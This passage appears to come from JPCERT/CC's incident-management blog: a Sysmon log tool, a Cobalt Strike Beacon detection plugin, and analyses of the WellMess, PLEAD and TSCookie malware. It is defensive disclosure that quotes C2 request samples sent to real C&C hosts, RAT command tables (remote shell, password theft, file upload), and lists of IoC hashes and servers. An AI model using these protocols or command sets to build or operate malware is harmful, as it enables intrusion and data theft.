22 posts categorized "#Incident management" Feed

Sep 19, 2018

Visualise Sysmon Logs and Detect Suspicious Device Behaviour -SysmonSearch-

In recent sophisticated cyber attacks, it is common to observe lateral movement, where a malware- infected device is used as a stepping stone and further compromise other devices in the network. In order to investigate the compromised devices, it is necessary to retain detailed logs of the applications that run on the device on a daily basis. One of the well-known tools for this purpose is Sysmon [1] from Microsoft, which records various operations on the Windows OS (e.g. applications, registry entries, communication) in the event logs. Most commonly, analysts convert the logs into text format to search for specific items in the logs. However, it is a hectic and not-so-organised task when it comes to investigation over multiple devices.

JPCERT/CC has developed and released a system “SysmonSearch” which consolidates Sysmon logs to perform faster and more accurate log analysis. We are happy to introduce the details in this article.

SysmonSearch system overview

SysmonSearch is a system based on Elastic Stack [2]. Sysmon log analysis function (search, statistical analysis and visualisation) is implemented by Kibana Plugin. Figure 1 describes the system overview.

Figure 1: SysmonSearch system overview
Fig1_2

Sysmon log visualisation

In SysmonSearch, each record in Sysmon log (process, file, registry etc.) is defined as a node, which are correlated with each other upon visualisation. This makes it easy to grasp how each node is related with others. For example, you can see a file created from a certain process and network communication occurring from another process. Figure 2 shows an example of visualised Sysmon logs. Each node is described with an icon. Icons are prepared for each event ID so that it is visually comprehensible. Please refer to Appendix for the list of Sysmon event IDs and corresponding icons.

Figure 2: Sysmon log visualisation results on SysmonSearch
Fig2_2

Sysmon log search

SysmonSearch can search Sysmon logs with the following conditions:

  • Date
  • IP address
  • Port number
  • Host name
  • Process name
  • File name
  • Registry key
  • Registry value
  • Hash value

If malware hash value or a C&C server is identified through the search, it is possible to check if any other device in the network is also affected by the same malware. You can also search for specific items from imported IoC and STIX data.

Figure 3: SysmonSearch search screen
Fig3_2

Sysmon log monitoring

This tool also performs near real-time search on Sysmon logs based on a certain rule and displays matched logs. Checking for logs that matches certain anomaly conditions may help detecting signs of an incident at an early stage. Monitoring rules can be configured on the search function.

Figure 4: SysmonSearch monitoring screen
Fig4_mini_2

Sysmon log statistical analysis

This function provides statistical data on events related to network communication, process and registry per device. It may be useful in identifying suspicious events which cannot be found with the monitoring function.

Figure 5: Statistical data on events related to network communication, process and registry on all devices
Fig5_mini_2

Figure 6: Statistical data on event ID on a single device
Fig6_mini_2

How to install

SysmonSearch is available on GitHub from the following URL. DockerFile is also available.

JPCERTCC GitHub - SysmonSearch

https://github.com/JPCERTCC/SysmonSearch

JPCERTCC GitHub – SysmonSearch Wiki

https://github.com/JPCERTCC/SysmonSearch/wiki

In closing

SysmonSearch enables faster and more accurate log analysis, and the monitoring function serves for early detection of incidents. We hope that the tool is helpful in incident analysis.

- Wataru Takahashi

(Translated by Yukako Uchida)

Reference

[1] Sysmon - Windows Sysinternals | Microsoft Docs

https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

[2] Powering Data Search, Log Analysis, Analytics | Elastic

https://www.elastic.co/products

Appendix
Icon legend

Event ID

Event Icon
1 Process Create

Icon1_2

2 File creation time changed  

Icon2

3 Network Connection Detected  

Icon3

7 Image loaded  

Icon4

8 CreateRemoteThread  

Icon5

11 FileCreate  

Icon6

12

13

14

Registry Event (CreateKey)  

Icon7_2

 

12

13

14

Registry Event  

Icon8

19

20

21

WmiEvent  

Icon9

Aug 03, 2018

Volatility Plugin for Detecting Cobalt Strike Beacon

JPCERT/CC has observed some Japanese organisations being affected by cyber attacks leveraging “Cobalt Strike” since around July 2017. It is a commercial product that simulates targeted attacks [1], often used for incident handling exercises, and likewise it is an easy-to-use tool for attackers. Reports from LAC [2] and FireEye [3] describe details on Cobalt Strike and actors who conduct attacks using this tool.

Cobalt Strike is delivered via a decoy MS Word document embedding a downloader. This will download a payload (Cobalt Strike Beacon), which will be executed within the memory. Since Cobalt Strike Beacon is not saved on the filesystem, whether a device is infected cannot be confirmed just by looking for the file itself. There is a need to look into memory dump or network device logs.

This article is to introduce a tool that we developed to detect Cobalt Strike Beacon from the memory. It is available on GitHub - Feel free to try from the following webpage:

JPCERTCC/aa-tools · GitHub

https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py

Tool details

This tool works as a plugin for The Volatility Framework (hereafter “Volatility”), a memory forensic tool. Here are the functions of cobaltstrikescan.py:

  • cobaltstrikescan: Detect Cobalt Strike Beacon from memory image
  • cobaltstrikeconfig: Detect Cobalt Strike Beacon from memory image and extract configuration

To run the tool, save cobaltstrikescan.py in ”contrib/plugins/malware” folder in Volatility, and execute the following command:

$python vol.py [cobaltstrikescan|cobaltstrikeconfig] –f <memory.image> ––profile=<profile>

Figure 1 shows an example output of cobaltstrikescan. You can see the detected process name (Name) and process ID (PID) indicating where the malware is injected to.

Figure 1: Execution results of cobaltstrikescan
Fig1

Figure 2 shows an example output of cobalrstrikeconfig. Please refer to Appendix A for configuration details for Cobalt Strike Beacon.

Figure 2: Execution results of cobaltstrikeconfig
Fig2

In closing

Actors using Cobalt Strike continue attacks against Japanese organisations. We hope this tool helps detecting the attack in an early stage.

- Takuya Endo

(Translated by Yukako Uchida)

Reference

[1] Strategic Cyber LLC:COBALT STRIKE ADVANCED THREAT TACTICS FOR PANETRATION TESTERS

https://www.cobaltstrike.com/

[2] LAC: New attacks by APT actors menuPass (APT10) observed (Japanese)

https://www.lac.co.jp/lacwatch/people/20180521_001638.html

[3] FireEye: Privileges and Credentials: Phished at the Request of Counsel

https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html

[4] Cybereason: Operation Cobalt Kitty: A large-scale APT in Asia carried out by the OceanLotus Group

https://www.cybereason.com/blog/operation-cobalt-kitty-apt

Appendix A
Table A: Configuration format
Offset Length Description
0x00 2 index (Refer to Table B)
0x02 2

Data length

1 = 2 byte, 2 = 4 byte, 3 = as specified in 0x04

0x04 2 Data length
0x06 As specified in 0x04 Data
 
Table B: Configuration
Offset Description Remarks
0x01 BeaconType 0=HTTP, 1=Hybrid HTTP and DNS, 8=HTTPS
0x02 Port number  
0x03 Polling time  
0x04 Unknown  
0x05 Jitter Ratio of jitter in polling time (0-99%)
0x06 Maxdns Maximum length of host name when using DNS (0-255)
0x07 Unknown  
0x08 Destination host  
0x09 User agent  
0x0a Path when communicating HTTP_Header2  
0x0b Unknown  
0x0c HTTP_Header1  
0x0d HTTP_Header2  
0x0e Injection process  
0x0f Pipe name  
0x10 Year Stops operating after the specified date by Year, Month, Day
0x11 Month  
0x12 Day  
0x13 DNS_idle  
0x14 DNS_Sleep  
0x1a HTTP_Method1  
0x1b HTTP_Method2  
0x1c Unknown  
0x1d Process to inject arbitrary shellcode (32bit)  
0x1e Process to inject arbitrary shellcode (64bit)  
0x1f Unknown  
0x20 Proxy server name  
0x21 Proxy user name  
0x22 Proxy password  
0x23 AccessType

1 = Do not use proxy server

2 = Use IE configuration in the registry

4 = Connect via proxy server

0x24 create_remote_thread Flag whether to allow creating threads in other processes
0x25 Not in use  

Jul 06, 2018

Malware “WellMess” Targeting Linux and Windows

Some malware is designed to run on multiple platforms, and most commonly they are written in Java. For example, Adwind malware (introduced in a past article) is written in Java, and it runs on Windows and other OS. Golang is another programming language, and it is used for Mirai controller, which infects Linux systems.

This article introduces the behaviour of WellMess malware based on our observation. It is a type of malware programmed in Golang and cross-compiled to make it compatible both with Linux and Windows. For more details about the malware function, please also refer to the report from LAC [1].

Behaviour of WellMess

Generally, Golang executable files include many required libraries in itself. This usually increases the file size, making WellMess larger than 3 MB. Another feature is that function names for the executable files can be found in the file itself. (Even for stripped files, function names can be retrieved by using tools such as GoUtils2.0 [2].) Below are the function names used in WellMess:

_/home/ubuntu/GoProject/src/bot/botlib.EncryptText
_/home/ubuntu/GoProject/src/bot/botlib.encrypt
_/home/ubuntu/GoProject/src/bot/botlib.Command
_/home/ubuntu/GoProject/src/bot/botlib.reply
_/home/ubuntu/GoProject/src/bot/botlib.Service
_/home/ubuntu/GoProject/src/bot/botlib.saveFile
_/home/ubuntu/GoProject/src/bot/botlib.UDFile
_/home/ubuntu/GoProject/src/bot/botlib.Download
_/home/ubuntu/GoProject/src/bot/botlib.Send
_/home/ubuntu/GoProject/src/bot/botlib.Work
_/home/ubuntu/GoProject/src/bot/botlib.chunksM
_/home/ubuntu/GoProject/src/bot/botlib.Join
_/home/ubuntu/GoProject/src/bot/botlib.wellMess
_/home/ubuntu/GoProject/src/bot/botlib.RandStringBytes
_/home/ubuntu/GoProject/src/bot/botlib.GetRandomBytes
_/home/ubuntu/GoProject/src/bot/botlib.Key
_/home/ubuntu/GoProject/src/bot/botlib.GenerateSymmKey
_/home/ubuntu/GoProject/src/bot/botlib.CalculateMD5Hash
_/home/ubuntu/GoProject/src/bot/botlib.Parse
_/home/ubuntu/GoProject/src/bot/botlib.Pack
_/home/ubuntu/GoProject/src/bot/botlib.Unpack
_/home/ubuntu/GoProject/src/bot/botlib.UnpackB
_/home/ubuntu/GoProject/src/bot/botlib.FromNormalToBase64
_/home/ubuntu/GoProject/src/bot/botlib.RandInt
_/home/ubuntu/GoProject/src/bot/botlib.Base64ToNormal
_/home/ubuntu/GoProject/src/bot/botlib.KeySizeError.Error
_/home/ubuntu/GoProject/src/bot/botlib.New
_/home/ubuntu/GoProject/src/bot/botlib.(*rc6cipher).BlockSize
_/home/ubuntu/GoProject/src/bot/botlib.convertFromString
_/home/ubuntu/GoProject/src/bot/botlib.(*rc6cipher).Encrypt
_/home/ubuntu/GoProject/src/bot/botlib.(*rc6cipher).Decrypt
_/home/ubuntu/GoProject/src/bot/botlib.Split
_/home/ubuntu/GoProject/src/bot/botlib.Cipher
_/home/ubuntu/GoProject/src/bot/botlib.Decipher
_/home/ubuntu/GoProject/src/bot/botlib.Pad
_/home/ubuntu/GoProject/src/bot/botlib.AES_Encrypt
_/home/ubuntu/GoProject/src/bot/botlib.AES_Decrypt
_/home/ubuntu/GoProject/src/bot/botlib.generateRandomString
_/home/ubuntu/GoProject/src/bot/botlib.deleteFile
_/home/ubuntu/GoProject/src/bot/botlib.Post
_/home/ubuntu/GoProject/src/bot/botlib.SendMessage
_/home/ubuntu/GoProject/src/bot/botlib.ReceiveMessage
_/home/ubuntu/GoProject/src/bot/botlib.Send.func1
_/home/ubuntu/GoProject/src/bot/botlib.init
_/home/ubuntu/GoProject/src/bot/botlib.(*KeySizeError).Error

As mentioned earlier, WellMess has a version that runs on Windows (PE) and another on Linux (ELF). Although there are some minor differences, they both have the same functionality.

The malware communicates with a C&C server using HTTP requests and performs functions based on the received commands. Below is an example of the communication: (User-Agent value varies per sample.)

POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html, */*
Accept-Language: en-US,en;q=0.8
Cookie: c22UekXD=J41lrM+S01+KX29R+As21Sur+%3asRnW+3Eo+nIHjv+o6A7qGw+XQr%3aq+PJ9jaI+KQ7G.+FT2wr+wzQ3vd+3IJXC+lays+k27xd.+di%3abd+mHMAi+mYNZv+Mrp+S%2cV21.+ESollsY+6suRD+%2cx8O1m+%3azc+GYdrw.+FbWQWr+5pO8;1rf4EnE9=+WMyn8+8ogDA+WxR5R.+sFMwDnV+DFninOi+XaP+p4iY+82U.+hZb+QB6+kMBvT9R
Host: 45.123.190.168
Content-Length: 426
Expect: 100-continue
Accept-Encoding: deflate
Connection: Keep-Alive

pgY4C8 8JHqk RjrCa R9MS 3vc4Uk KKaRxH R8vg Tfj B3P,C 0RG9lFw DqF405. i3RU1 0lW 2BqdSn K3L Y7hEc. tzto yKU8 p1,E L2kKg pQcE1. b8V6S0Y 6akx, ggMcrXk 0csao Uwxn. fYVtWD rwt:BJ 5IBn rCMxZoo OsC. :ZXg pKT Re0 cJST1 L0GsC. 9dJZON9 qs29pPB pCTR:8 0hO0FK sK13UUw. jMA hDICL hGK1 qjRj1AY YMjAIeI. g7GEZPh gW:C eNX6 ptq kevfIyP. u,96r7c D:6ZiR fCC IIi cBvq,p. Vt96aEu JFLeu 0XtFJm ee4S 7M2. Uc68sF MArC5v 96ngG 9UvQGt 5:ut. qiE0xQ

Results of command execution are send in HTTP POST request data, which is RSA-encrypted. The data in Cookie header is RC6-encrypted. Below is an example of decrypted data. It contains an identifier for infected hosts (the value in between <;head;> tags).

<;head;>6F3C9B16C16074079AFCFF09C6717B0F07864FFE09C1E1DB003B3627D174913B/p<;head;><;title;>a:1_0<;title;><;service;>p<;service;>

Below is a part of code that decodes data in the Cookie header. (The script is available on Github.)

def decode(data, key):
    sep = ';'

    field = data.split(sep)

    i = 1
    encdata = ""
    while i < len(field):
        value = field[i].split("=")
        encdata += value[1]
        I += 1

    encdata = urllib.unquote(encdata)
    encdata = encdata.replace("+", " ").replace("   ", "=").replace(". ", "").replace(" ", "").replace(",", "+").replace(":", "/")

    maindata = base64.b64decode(encdata)
    s = generateKey(base64.b64decode(key))

    i = 0
    decode = ""
    while i < len(maindata):
        orgi = rc6(maindata[i:i + 16], s)
        decode += orgi
        i += 16

    print("Decrypted String: %s" % decode)

The malware may perform the following functions when receiving commands from a C&C server.

  • Execute arbitrary shell command
  • Upload/Download files

In addition, PE file malware executes PowerShell scripts.

Wellmess Developed in .Net Framework

There is also a version that was developed in .Net Framework. Figure 1 shows the code that generates data contained in the Cookie header upon communicating with a C&C server. It contains the same string as in the Cookie data in the Golang version.

Figure 1: Code to generate data contained in the Cookie
Fig1

We have no clue about why the actors have prepared two different versions, however, it seems that they choose a sample depending on the attack target.

In closing

We have confirmed some cases where WellMess infection was found in Japanese organisations. Attacks using the malware may continue.

We have listed some hash values of the samples in Appendix A. Some of the C&C servers that we have confirmed are also listed in Appendix B. Please make sure that none of your device is accessing such hosts.

- Shusei Tomonaga

(Translated by Yukako Uchida)

Reference

[1] LAC: Cyber Emergency Center Report Vol.3 (Japanese)

https://www.lac.co.jp/lacwatch/pdf/20180614_cecreport_vol3.pdf

[2] GoUtils2.0

https://gitlab.com/zaytsevgu/GoUtils2.0/

Appendix A: SHA-256 Hash value
  • 0b8e6a11adaa3df120ec15846bb966d674724b6b92eae34d63b665e0698e0193 (Golang&ELF)
  • bec1981e422c1e01c14511d384a33c9bcc66456c1274bbbac073da825a3f537d (Golang&PE)
  • 2285a264ffab59ab5a1eb4e2b9bcab9baf26750b6c551ee3094af56a4442ac41 (.Net&PE)
Appendix B: C&C server
  • 45.123.190.168
  • 103.13.240.46
  • 101.201.53.27
  • 185.217.92.171
  • 93.113.45.101
  • 191.101.180.78

Jun 08, 2018

PLEAD Downloader Used by BlackTech

In a past article, we introduced TSCookie, malware which seems to be used by BlackTech[1]. It has been revealed that this actor also uses another type of malware “PLEAD”. (“PLEAD” is referred to both as a name of malware including TSCookie and its attack campaign [2]. In this article, we refer to “PLEAD” as a type malware apart from TSCookie.) PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. (Please refer to a blog post from LAC for more information [3].) On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.

This article presents behaviour of PLEAD downloader in detail.

Behaviour of PLEAD downloader

PLEAD downloader downloads RC4-encrypted modules from certain sites. Figure 1 shows an example of an encrypted file downloaded from a server.

Figure 1: Example of file download by PLEAD downloader
Fig1

The first 20h of the downloaded file is the RC4 key to decode the file. Once decoded, you can find the module (hereafter referred to as “PLEAD module”), C&C server, encryption keys etc. Figure 2 is an example of a decrypted file.

Figure 2: Decrypting downloaded file
Fig2_en

PLEAD downloader loads PLEAD module (contained in the decrypted data) and executes it. The module will not be saved as a file but only exists on the memory. The following section will explain the details of PLEAD module.

Behaviour of PLEAD module

PLEAD module operates based on commands provided from C&C servers. Communication to/from C&C servers is RC4-encrypted and then compressed with LZO. The RC4 encryption key is a combination of the ones generated by itself and another sent from a C&C server. Figure 3 describes the flow of communication that PLEAD module performs.

Figure 3: PLEAD module communication
Fig3_en

PLEAD module first shares a RC4 key with a C&C server. Below is an example of an HTTP GET request which is sent at the beginning of the communication. Cookie header contains an encrypted RC4 key. In the data sent in Cookie header, “D” and “E” are interchanged. Refer to Table A-1 and A-2 in Appendix A for data format.

GET /index.php?id=1577061168 HTTP/1.1
Cache-Control: no-cache
Accept: */*
Pragma: no-cache
Cookie: 800809D6411C6E2629001900A92309EB26192117C5A59F306E207A8993A2F20121FC3B42B6DF693838
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: [host name]
Connection: Keep-Alive

RC4 key for data encryption is 32 bytes long, divided into 5 blocks (4 byte * 4 + 16 byte * 1). The first block in the key (Key1 in Figure 3) is included in the configuration of PLEAD module. The second and the third block (Key2 and 3) are set to 0 in the HTTP GET request. The fourth block (Key4) is randomly generated and inserted after “id” in the URL. The fifth block (Key5) is generated based on Key4 value.

The data which is sent first contains Key2 value. With that value, the recipient server encrypts Key3 value and send it to C&C server. The data format is described in Table A-3 and A-4 in Appendix A. This way, an RC4 key is generated and used for communication that follows.

Below is a part of Python script to decode data.

def decode(key1, key2, key3, key4, data, lzo_header):
    rc4_key = key1 + pack("III", key2, key3, key4)
    for i in xrange(4):
        key4 = ROR(key4 + 1, 5)
        rc4_key += pack("I", key4)
        
    dec = rc4(data, rc4_key)

    try:
        return lzo.decompress(lzo_header + dec)
    except:
        sys.exit("[!] Lzo decompress error.")

After sharing the RC4 key, PLEAD module sends information about an infected host using HTTP POST request. The data format is the same as shown in Table A-1 in Appendix A.

POST /index.php?id=2852129559 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: [host name]
Content-Length: [data size]
Connection: Keep-Alive
Cache-Control: no-cache

[data]

The data itself contains the host name, OS version, IP address, user account name of the infected host. Figure 4 is an example of decoded data.

Figure 4: Example of decoded data that PLEAD module sends
Fig4

After that, a command will be sent from a C&C server. PLEAD module can execute the following functions based on the commands that are provided.

  • Send file list
  • Arbitrary shell command execution
  • Upload/download files
  • File Operations

(Refer to B-1 in Appendix B for the details of the command)

Conclusion

As we previously described, this actor has been conducting attacks against Japanese organisations using various kinds of malware. As this attack campaign is likely to continue, JPCERT/CC will watch the trend carefully.

We have listed the hash values of the samples that were described in this article in Appendix C. Some C&C servers that are lately confirmed are also listed in Appendix D. Please make sure that none of your devices is accessing these hosts.

- Shusei Tomonaga

(Translated by Yukako Uchida)

Reference

[1] TrendMicro: Following the Trail of BlackTech’s Cyber Espionage Campaigns

https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/

[2] TrendMicro: Following the Trail of BlackTech’s Cyber Espionage Campaigns

https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf

[3] LAC: Confirmed Attacks against Japanese Organizations by BlackTech Using “PLEAD” (Japanese)

https://www.lac.co.jp/lacwatch/people/20180425_001625.html

Appendix A PLEAD module communication data
Table A-1: Format of data contained in Cookie header
Offset Length Contents
0x00 4 Hash value
0x04 4 RC4 key (Key1)
0x08 2 Data length
0x0A 2 Original length of data with offset 0x0C
0x0C - Encrypted data (RC4+LZO) (Refer to Table A-2)

*In the data contained in Cookie header, “D” and “E” are interchanged.

Table A-2: Format of encrypted data contained in Cookie header
Offset Length Contents
0x00 2 0x0000
0x02 4 RC4 key (Key2)
0x06 - Random numeric

Table A-3: Format of received data
Offset Length Contents
0x00 4 RC4 key (Key2)
0x04 4 Hash value
0x08 4 RC4 key (Key1)
0x0C 2 Original length of data with offset 0x0E
0x0E - Encrypted data (RC4+LZO) (Refer to Table A-4)

Table A-4: Format of encrypted data contained in the received data
Offset Length Contents
0x00 2 0x0001
0x02 4 RC4 key (Key3)
Appendix B PLEAD module commands
Table B-1: List of commands
Value Contents
0x100 Send file list
0x105 Send file size
0x107 Move file
0x109 Delete file
0x10B Upload file
0x10D Execute file
0x10F Execute file (using registry entry value)
0x111 Create directory
0x113 Move file
0x115 Delete directory
0x200 Send file or directory information
0x203 Create directory
0x206 Download file
0x207 Send file information
0x20B Upload file
0x300 Launch remote shell and execute command
0x305 Move current directory
0x307 End remote shell
0x309 Send file list of current directory file
0x30C Delete file or change attribution
0x404 Proxy set up
0x406 Send proxy data
0x408 Receive proxy data
0x40A End proxy
Appendix C SHA-256 hash value of samples

PLEAD

  • bc2c8cc9896cdd5816509f43cb5dca7433198251d754a997a70db7e8ed5cca40
  • a26df4f62ada084a596bf0f603691bc9c02024be98abec4a9872f0ff0085f940
  • 2ddb2030ab3373b9438102b541aa4623b7dfee972850dcef05742ecbe8982e22
  • eec3f761f7eabe9ed569f39e896be24c9bbb8861b15dbde1b3d539505cd9dd8d

PLEAD module

  • 23f554cc5bea9d4ccd62b0bbccaa4599f225ebce4ad956a576cc1a9b2a73dc15
Appendix D List of C&C servers
  • em.totalpople.info
  • office.panasocin.com
  • gstrap.jkub.com
  • woc.yasonbin.info
  • 210.71.209.206

Mar 06, 2018

Malware “TSCookie”

Around 17 January 2018, there were some reports on the social media about malicious emails purporting to be from Ministry of Education, Culture, Sports, Science and Technology of Japan [1]. This email contains a URL leading to a malware called “TSCookie”. (Trend Micro calls it “PLEAD” malware [2]. Since PLEAD is also referred to as an attack campaign, we call this malware TSCookie in this article.) TSCookie has been observed in the wild since 2015, and it is suspected that an attacker group “BlackTech” is related to this campaign [3]. JPCERT/CC confirmed that adversaries using the malware had conducted targeted attacks against Japanese organisations in the past. This article presents findings from TSCookie analysis.

Overview of TSCookie

Figure 1 describes the flow of TSCookie’s execution.

Figure 1: Overview of TSCookie
Fig1_en_2

TSCookie itself only serves as a downloader. It expands functionality by downloading modules from C&C servers. The sample that was examined downloaded a DLL file which has exfiltrating function among many others (hereafter “TSCookieRAT”). Downloaded modules only runs on memory.

Behaviour of TSCookie and TSCookieRAT will be explained in detail in the following sections.

Behaviour of TSCookie

TSCookie communicates to C&C servers using HTTP protocol and downloads “a module” and “a loader” for loading the module. The malware has an encrypted DLL file in its resource. When the malware is executed, the DLL file is loaded and executed on memory. The DLL file performs main functions such as communicating with C&C servers. (In some cases, the main function part is not encrypted and stored in the malware as is. Also, some samples launch another process and inject decrypted DLL file.) The malware has configuration information encrypted with RC4, including C&C server information. Please refer to Appendix A for the details of the configuration.

Below is an example of an HTTP GET request that TSCookie sends at the beginning. The outbound message is encoded and included in the Cookie header.


GET /Default.aspx HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Date: Thu, 18 Jan 2018 10:20:55 GMT
Pragma: no-cache
Accept: */*
Cookie: 1405D7CD01C6978E54E86DA9525E1395C4DD2F276DD28EABCC3F6201ADAA66F55C15352D29D0FFE51BC9D431EB23E8E58959653D9366E372B5CFCC49BB
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host:[host name]:443

The data contained in the Cookie header is encrypted with RC4 (The key is the Date header value). Please refer to Appendix B, Table B-1 for the data format.

The data obtained by this HTTP GET request is RC4-encrypted with the 8byte value which is made up with the fixed value in the configuration (Appendix A, Table A-1) and the value in the sent data (“4byte generated from system information” in Appendix B, Table B-1). This data includes loader for the module.

TSCookie then downloads a module. Below is an example of HTTP POST request for downloading a module.


POST /Default.aspx HTTP/1.1
Connection: Keep-Alive
Date: Thu, 18 Jan 2018 10:30:55 GMT
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Content-Length: 34
Host: [host name]:443

[data]

The sent data is RC4-encrypted as well (the key is the Date header value). Please refer to Appendix B, Table B-2 for the data format. The data obtained by this HTTP POST request is RC4-encrypted with the same key as in the HTTP GET request. The downloaded module can be executed by loading it on memory and calling the loader obtained by the HTTP GET request.

Behaviour of TSCookieRAT

TSCookie provides parameters such as C&C server information when loading TSCookieRAT. Upon the execution, information of the infected host is sent with HTTP POST request to an external server. (The HTTP header format is the same as TSCookie.)

The data is RC4-encrypted from the beginning to 0x14 (the key is Date header value), which is followed by the information of the infected host (host name, user name, OS version, etc.). Please refer to Appendix C, Table C-1 for the data format.

Figure 2 is an example of sent data (decoded).

Figure 2: Part of sent data (decoded): Sending out information on the infected hosts)

Fig2

After that, TSCookieRAT sends an HTTP GET request. (The HTTP header payload is the same as TSCookie.) With this request, commands are sent from a C&C server, and TSCookieRAT executes functions as listed below. (Please refer to Appendix C, Table C-2 for received data, and to Appendix D, Table D-1 for the list of commands.)

  • Execute arbitrary shell command
  • Send drive information
  • Send system information
  • File operation
  • Collect passwords from Internet Explorer, Edge, Firefox, Chrome, Outlook

The result of command execution is sent in the same format as in the first HTTP POST request (for sending the information of the infected host). The commands sent from a C&C server are not encoded. Below is the example of sent data (decoded) when executing a command for listing processes and modules.

Figure 3: Part of sent data (decoded): Result of the command 0x930 execution
Fig3

TSCookie Decode Tool

JPCERT/CC made a tool to decode and extract TSCookie’s configuration information. This is available on Github for your use.

JPCERTCC/aa-tools · GitHub
https://github.com/JPCERTCC/aa-tools/blob/master/tscookie_decode.py

 

Figure 4: Running tscookie_decode.py (example)
Fig4

In closing

The adversaries using TSCookie have been conducting attacks against Japanese organisations using various types of malware. As this attack campaign is likely to continue, JPCERT/CC will continue to watch the trend carefully.

The hash value of the samples that were examined for this article are listed in Appendix E. Some of the destination hosts associated with TSCookie are also listed in Appendix F. Please make sure that none of your devices is communicating with such hosts.

For any inquiries, please contact global-cc[at]jpcert.or.jp.

- Shusei Tomonaga

(Translated by Yukako Uchida)

Reference

[1] piyolog: Summary on Ministry of Education, Culture, Sports, Science and Technology Scam in January 2018 (Japanese)

http://d.hatena.ne.jp/Kango/20180119/1516391079

[2] Trend Micro: Following the Trail of BlackTech’s Cyber Espionage Campaigns

https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf

[3] Trend Micro: Following the Trail of BlackTech’s Cyber Espionage Campaigns

https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/

Appendix A: TSCookie configuration information
Table A: List of configuration information
Offset Description Remarks
0x000 Flag for host 1 Perform communication if 0x01
0x004 Port number 1 for host 1  
0x008 Port number 2 for host 1  
0x010 Host 1  
0x100 Flag for host 2  
0x104 Port number 1 for host 2  
0x108 Port number 2 for host 2  
0x110 Host 2  
0x200 Flag for host 3  
0x204 Port number 1 for host 3  
0x208 Port number 2 for host 3  
0x210 Host 3  
0x300 Flag for host 4  
0x304 Port number 1 for host 4  
0x308 Port number 2 for host 4  
0x310 Host 4  
0x400 Proxy server  
0x480 Proxy port number  
0x484 Flag for proxy configuration  
0x500 ID  
0x604 Fixed value RC4 key for 4byte (0x925A765D)
0x89C Suspended time  
Appendix B Data that TSCookie sends/receives
Table B-1: Format of data contained in Cookie header
Offset Length Contents
0x00 4 4byte generated from system information (*)
0x04 4 0x10050014
0x08 4 0x10001
0x0C 4 0xAB1
0x10 4 0x04
0x14 4 4byte generated from system information
0x18 - Random data

(*) RC4-encrypted with the fixed value (0x925A765D)

Table B-2: Format of data contained in HTTP POST data
Offset Length Contents
0x00 4 4byte generated from system information
0x04 4 0x10050014
0x08 4 0x10001
0x0C 4 0xAAD
0x10 4 Data length after 0x14
0x14 - Random data
Appendix C: Data that TSCookieRAT sends/receives
Table C-1: Format of data contained in HTTP POST data
Offset Length Contents
0x00 4 4byte generated from system information
0x04 4 0x10050014
0x08 4 0x10001
0x0C 4 0xAAD
0x10 4 Data length after 0x14
0x14 - Information of the infected host (RC4 encrypted with the key for “4byte generated from system information”)

*RC4-encrypted with Date header value up to 0x14

Table C-2: Format of data received
Offset Length Contents
0x00 4 Command
0x04 4 Data length after 0x8
0x08 - Parameter
Appendix D: Commands used by TSCookieRAT
Table D-1: List of commands
Value Contents
0x912 Configure suspended time
0x930 List processes and modules
0x932 Terminate
0x934 Start remote shell
0x935 Execute remote shell command
0x936 End remote shell
0x946 Obtain IP address
0x950 Execute files (with window display)
0x951 Execute files (without window display)
0x952 Send message
0x953 Send drive information
0x954 Send file list
0x955 Send file size
0x956 Send file
0x957 Close object handle
0x958 Select file to send (send file with 0x955, 0x956)
0x959 Download file
0x95A Delete file
0x95C Move file
0x95E -
0x960 -
0x96B Obtain window title
0x96E Collect password from Internet Explorer, Edge, Firefox, Chrome, Outlook
Appendix E: SHA-256 values of the samples

TSCookie

  • 6d2f5675630d0dae65a796ac624fb90f42f35fbe5dec2ec8f4adce5ebfaabf75
  • cdf0e4c415eb55bccb43a650e330348b63bc3cbb53f71a215c44ede939b4b830
  • 17f1996ad7e602bd2a7e9524d7d70ee8588dac51469b08017df9aaaca09d8dd9
  • 1fa7cbe57eedea0ebc8eb37b91e7536c07be7da7775a6c01e5b14489387b9ca8
  • e451a1e05c0cc363a185a98819cd2af421ac87154702bf72007ecc0134c7f417
  • 1da9b4a84041b8c72dad9626db822486ce47b9a3ab6b36c41b0637cd1f6444d6
  • 35f966187098ac42684361b2a93b0cee5e2762a0d1e13b8d366a18bccf4f5a91
  • 0683437aebd980c395a83e837a6056df1a21e137e875f234d1ed9f9a91dfdc7f
  • 0debbcc297cb8f9b81c8c217e748122243562357297b63749c3847af3b7fd646
  • 96306202b0c4495cf93e805e9185ea6f2626650d6132a98a8f097f8c6a424a33
  • 6b66c6d8859dfe06c0415be4df2bd836561d5a6eabce98ddd2ee54e89e37fd44
  • 06a9c71342eeb14b7e8871f77524e8acc7b86670411b854fa7f6f57c918ffd2b
  • 20f7f367f9cb8beca7ce1ba980fafa870863245f27fea48b971859a8cb47eb09
  • f16befd79b7f8ffdaf934ef337a91a5f1dc6da54c4b2bee5fe7a0eb38e8af39e
